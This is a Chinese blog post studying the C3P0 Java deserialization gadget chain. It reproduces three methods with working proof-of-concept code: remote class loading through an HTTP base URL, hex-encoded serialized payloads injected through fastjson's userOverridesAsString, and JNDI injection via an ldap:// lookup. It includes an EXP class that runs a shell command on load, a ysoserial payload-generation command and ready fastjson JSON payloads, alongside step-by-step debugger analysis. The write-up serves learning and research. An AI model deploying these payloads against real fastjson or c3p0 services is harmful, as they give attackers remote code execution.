• C3P0反序列化链学习


    C3P0

    c3p0第一次听闻是用于fastjson的回显上,大佬们总结三种方法,后面两种主要就是用于fastjson和jackjson的回显利用(注入内存马)

    http base
    jndi
    hex序列化字节加载器
    

    1、http base

    1.1、漏洞复现

    package ysoserial.test;
    
    import ysoserial.Serializer;
    import ysoserial.payloads.C3P0;
    
    import java.io.*;
    
    public class C3P0Test {
        public static void main(String[] args) throws Exception {
            C3P0 c3P0 = new C3P0();
            Object object = c3P0.getObject("http://127.0.0.1:8000/:EXP");
            serialize(object,"c3p0.ser");
            unserialize("c3p0.ser");
    
    
        }
    
        public static void serialize(Object obj ,String path) throws Exception{
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(path));
            objectOutputStream.writeObject(obj);
        }
        public static void unserialize(String path) throws Exception{
            ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(path));
            objectInputStream.readObject();
        }
    }
    
    

    exp

    
    public class EXP {
        public EXP() {
        }
    
        static {
            try {
                Runtime var0 = Runtime.getRuntime();
                String[] var1 = new String[]{"bash", "-c", "open -a calculator.app"};
                Process var2 = var0.exec(var1);
                var2.waitFor();
            } catch (Exception var3) {
            }
    
        }
    }
    
    

    image-20220420180620111

    1.2、漏洞分析

    我跟jdk7u21一样还是通过ysoserial来学习,首先先学习一下c3p0链,我们看到getObject()方法,他就是通过:截断,获取url和类名,然后反射创建PoolBackedDataSource类,设置其connectionPoolDataSource属性设置为new PoolSource(className, url)实例。

    我们继续看看PoolSource,除了构造方法赋值外就是有一个getReference()方法,传入了我们的恶意的url和className

    public class C3P0 implements ObjectPayload<Object> {
        public Object getObject ( String command ) throws Exception {
            int sep = command.lastIndexOf(':');
            if ( sep < 0 ) {
                throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
            }
    
            String url = command.substring(0, sep);
            String className = command.substring(sep + 1);
    
            PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
            Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
            return b;
        }
    
        
        private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
    
            private String className;
            private String url;
    
            public PoolSource ( String className, String url ) {
                this.className = className;
                this.url = url;
            }
    
            public Reference getReference () throws NamingException {
                return new Reference("exploit", this.className, this.url);
            }
    
            public PrintWriter getLogWriter () throws SQLException {return null;}
            public void setLogWriter ( PrintWriter out ) throws SQLException {}
            public void setLoginTimeout ( int seconds ) throws SQLException {}
            public int getLoginTimeout () throws SQLException {return 0;}
            public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
            public PooledConnection getPooledConnection () throws SQLException {return null;}
            public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
    
        }
    
    
        public static void main ( final String[] args ) throws Exception {
            PayloadRunner.run(C3P0.class, args);
        }
    
    }
    

    1.3、POC调试

    1.3.1、序列化分析

    我先来看看是怎么序列化的过程,在writeObject处打下断点

    image-20220420182143362

    跟进去,进入到com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase,回去序列化我们的输入this.connectionPoolDataSource,但是由于我们输入的其实就是PoolSource,无法序列化,继续往下走

    image-20220420182337371

    走到这,他会序列化indirector.indirectForm(this.connectionPoolDataSource),我们

    indirector = new ReferenceIndirector();
    oos.writeObject(indirector.indirectForm(this.connectionPoolDataSource));
    

    image-20220420182641126

    我们跟进去看看,此处调用的getReference()就是PoolSource的getReference方法,也是为什么PoolSource要重写该方法

    image-20220420193403569

    然后就是ReferenceIndirector.ReferenceSerialized(),我们继续跟进去,可以看到就是把我们构造的特殊的reference赋值给this.reference,所以序列化文件里是包含这我们的恶意reference。

    image-20220420193753175

    1.3.2、反序列化分析

    我们从报错的也可以看出序列化的接口是在com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase的readObject

    image-20220420194454141

    利用链

    /*
     * Gadget:
     *   PoolBackedDataSourceBase#readObject
     *     ReferenceIndirector$ReferenceSerialized#getObject
     *       ReferenceableUtils#referenceToObject
     *         Class#forName
     * */
    

    我们把断点打在PoolBackedDataSourceBase的readObect(),走到这,会判断o是不是IndirectlySerialized,那么就会触发ReferenceIndirector的getObject方法,跟进去

    image-20220420200905568

    进来后会通过ReferenceableUtils.referenceToObject()方法将this.reference(恶意链接)转换成Object,我们继续跟进去

    image-20220420201228460

    获取我们恶意地址字符串和恶意类字符串分别存入var4和var11,并且新建一个ClassLoder里面存我地址,然后通过Class.forName方法加载,此时的var4和var7都是我们可以控制的。然后就会去寻找对应的地址请求恶意类。

    image-20220420201440433

    image-20220420201950970

    我们可以看到在Class.forName触发了我们的代码执行,原因是Class.forName如果没有给定 classloader, 那么会使用根类加载器。如果initalize这个参数传了 true,那么给定的类如果之前没有被初始化过,那么会被初始化,造成远程代码执行

    2、hex序列化字节加载器

    这个可以满足fastjson和c3p0可以做到不出网利用。首先生成序列化payload,这里的payload注意是需要本地的另一条Gadget比如CC或者CB链,然后hex编码一下拼到PoC里

    java -jar ysoserial.jar CommonsCollections2 "open -a Calculator" > calc.ser
    

    2.1、poc复现

    依赖

            <dependency>
                <groupId>com.alibaba</groupId>
                <artifactId>fastjson</artifactId>
                <version>1.2.24</version>
            </dependency>
            <dependency>
                <groupId>com.mchange</groupId>
                <artifactId>c3p0</artifactId>
                <version>0.9.5.2</version>
            </dependency>
            <!-- https://mvnrepository.com/artifact/org.apache.commons/commons-collections4 -->
            <dependency>
                <groupId>org.apache.commons</groupId>
                <artifactId>commons-collections4</artifactId>
                <version>4.0</version>
            </dependency>
    

    Poc

    {"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex编码内容;"}}
    
    package com.akkacloud;
    
    import com.alibaba.fastjson.JSON;
    import com.mchange.lang.ByteUtils;
    import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
    
    import java.io.*;
    import java.util.Arrays;
    
    public class fast {
        public static void main(String[] args) throws IOException, ClassNotFoundException {
            InputStream in = new FileInputStream("/Users/akka/Desktop/tools/EXP/Weblogic/calc.ser");
            byte[] data = toByteArray(in);
            in.close();
            String HexString = bytesToHexString(data, data.length);
            System.out.println(HexString);
            String poc ="{\"e\":{\"@type\":\"java.lang.Class\",\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"},\"f\":{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:"+HexString+";\"}}";
            JSON.parseObject(poc);
    
        }
    
        public static byte[] toByteArray(InputStream in) throws IOException {
            byte[] classBytes;
            classBytes = new byte[in.available()];
            in.read(classBytes);
            in.close();
            return classBytes;
        }
    
        public static String bytesToHexString(byte[] bArray, int length) {
            StringBuffer sb = new StringBuffer(length);
    
            for(int i = 0; i < length; ++i) {
                String sTemp = Integer.toHexString(255 & bArray[i]);
                if (sTemp.length() < 2) {
                    sb.append(0);
                }
    
                sb.append(sTemp.toUpperCase());
            }
            return sb.toString();
        }
    
    }
    
    

    image-20220420221139346

    2.2、poc分析

    原因仍然是fastjson自动调用属性的setter和getter方法。不懂得可以学习一下前面

    我们直接在com.mchange.v2.c3p0.WrapperConnectionPoolDataSource类的 setUpPropertyListeners处打下断点,调用了parseUserOverridesAsString((String)val) ,val就是我们传入的hex加密的字符串,跟进去

    image-20220420221421122

    该方法就是把传入的hex加密字符串解密成byte[],然后调用fromByteArray方法,继续跟进去

    image-20220420222205036

    然后调用deserializeFromByteArray方法,继续跟进

    image-20220420222530401

    到这一步就很清晰了,调用readObejct,造成反序列化恶意代码执行

    image-20220420222630945

    3、JNDI利用

    此方法可以配合tomcatEcho,达到回显

    3.1、POC复现

    依赖

    <dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.24</version>
      </dependency>
      <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp -->
    <dependency>
      <groupId>com.mchange</groupId>
      <artifactId>c3p0</artifactId>
      <version>0.9.5.2</version>
      </dependency>
    
    package com.akkacloud;
    
    import com.alibaba.fastjson.JSON;
    
    public class fast {
        public static void main(String[] args) throws Exception {
            String poc = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",\"jndiName\":\"ldap://127.0.0.1:1389/EXP\", \"loginTimeout\":0}";
            JSON.parseObject(poc);
        }
    
    }
    
    

    image-20220420204356398

    3.2、POC分析

    这跟fastjson其他利用链的差不多都是由于fastjson会自动触发字段的setter和getter方法。所以会自动触发com.mchange.v2.c3p0.JndiRefForwardingDataSourcesetJndiName,但是由于该类没有该方法就会调用其父类com.mchange.v2.c3p0.impl.JndiRefDataSourceBasesetJndiName。我们在该方法打下断点,可以看到该方法就是把this.jndiName赋值为其传入的值(恶意链接),然后就是调用setloginTimeout

    image-20220420211140418

    然后进入到om.mchange.v2.c3p0.JndiRefForwardingDataSource累的setloginTimeout,调用inner方法,跟进去

    image-20220420211852287

    继续调用dereference方法,继续跟进

    image-20220420212047651

    跟进去就发现会调用我们ctx.lookup((String)jndiName),完成jndi注入

    image-20220420212222204

    参考
    https://www.cnblogs.com/nice0e3/p/15058285.html
    https://www.shuzhiduo.com/A/ZOJPN24Odv/

  • 相关阅读:
    打通AI应用工业化大生产全流程:昇腾注解“AI向上的力量”
    Qt-制作一个简单的计算器-实现四则运算-将结果以对话框的形式弹出来
    vm虚拟机克隆ubuntu
    Oracle数据库:oracle内连接inner join on,多表查询各种自链接、内连接、外连接的练习示例
    Java Heap Space问题解析与解决方案(InsCode AI 创作助手)
    【C语言】指针与数组笔试题详解
    一文详解KMP
    向勒索病毒说不,是时候重塑数据保护策略
    如何根据不同需求给Word文档设置保护?
    【408数据结构与算法】—栈与递归(十二)
  • 原文地址:https://www.cnblogs.com/akka1/p/16172125.html